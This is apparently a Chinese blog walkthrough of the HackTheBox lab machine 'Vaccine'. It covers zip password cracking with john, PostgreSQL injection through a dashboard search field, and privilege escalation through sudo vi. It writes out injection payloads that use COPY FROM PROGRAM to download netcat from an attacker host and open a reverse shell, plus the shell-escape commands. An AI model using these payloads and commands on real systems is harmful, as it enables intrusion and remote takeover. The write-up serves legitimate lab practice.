HTB从零到放弃之Vaccine

·
漏洞复现 hackthebox January 18, 2021

首先还是nmap看一看端口

sudo nmap -sT -Pn 10.10.10.46

这里的账号密码在Oopsie那台靶机中

之后就使用该账号密码登录FTP

下载下来看看,发现压缩包需要密码

接下来可以尝试破解压缩包密码,首先生成压缩包的hash

zip2john backup.zip > hash

接下来使用kali中自带的字典rockyou.txt.gz复制出来并用gzip解压缩

cp /usr/share/wordlists/rockyou.txt.gz /home/pwn/Desktop/pwn/htb/rockyou.txt.gz
gzip -d rockyou.txt.gz

接下来,就可以使用john来指定字典破解密码了

john hash --fork=4 -w rockyou.txt 2>/dev/null

其中--fork=4代表指定4个进程,-w指定字典路径,2>/dev/null将错误不显示

于是我们得到了压缩包密码741852963,解压后有如下文件

代码可知,用户名为admin,密码通过解密为qwerty789

登录后主页搜索框存在注入

可以通过sqlmap看到是postgresql注入

python sqlmap.py -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=7ce6tk8tjbi6jipuohfa7vl9p3"

接下来我想着通过注入写入文件

1' ;copy (select '<?php phpinfo();?>') to '/var/www/html/1.php'; -- -

结果发现没有权限

其实这里我有点怀疑官方WP中的直接利用--os-shell方法进行Getshell,因为我觉得条件并不满足,但是这个机器BUG有点多,查阅资料看到了相关讨论:Machine name: vaccine stuck on getting SQL code execution shell,之后就是看到了Github上florianges师傅写的EXP:-HTB-Vaccine_sql_injection,大致思路如下:

  1. 本机起一个Web服务,提供nc的下载(这里作者提示Note: The netcat executable hosted on your web server must be GNU netcat (and therefore must not be the netcat from OpenBSD))
  2. 本机监听4444端口
  3. 通过注入创建相应的表、字段,从程序中复制数据到这个字段表里,然后后面下载nc,赋予nc执行权限,并且执行反弹shell命令

相应命令如下

cp /bin/nc.traditional ~/Desktop/nc
python3 -m http.server 80
sudo nc -lvvp 4444
http://10.10.10.46/dashboard.php?search=a';DROP TABLE IF EXISTS cmd_31554; -- -
http://10.10.10.46/dashboard.php?search=a';CREATE TABLE cmd_31554(cmd_output text); -- -
http://10.10.10.46/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM 'wget -P /tmp/31554 http://10.10.14.108:80/nc'; -- -
http://10.10.10.46/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM 'chmod 777 /tmp/31554/nc'; -- -
http://10.10.10.46/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM '/tmp/31554/nc 10.10.14.108 4444 -e /bin/bash'; -- -

接下来接收到shell

这时候我们就获得了第一个flag(但是提交上去说是错误,其他文章有说交完root的自动显示正常,我这也并不行)

接下来就是想办法提权了,首先读一下注入页面,看看有没有数据库连接相关信息

cat /var/www/html/dashboard.php

接下来我们还是像之前一样,将我们的shell改成交互式的,可以用下面两种方法中的任意一种

SHELL=/bin/bash script -q /dev/null
python3 -c "import pty;pty.spawn('/bin/bash')"

获得交互式的shell之后,我们可以通过如下命令查看一下当前用户的权限

sudo -l

发现用户被允许编辑配置文件/etc/postgresql/11/main/pg_hba.conf,可以利用vi并验证密码提权至root

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

输入密码验证后,会出现字符重叠的bug,直接执行如下命令并回车即可获得root权限

:!/bin/bash

接下来就是正常读取root的flag

  • HTB从零到放弃之Oopsie
  • JumpServer远程命令执行漏洞分析
取消回复

说点什么?

© 2021 Echocipher. Using Typecho & Moricolor.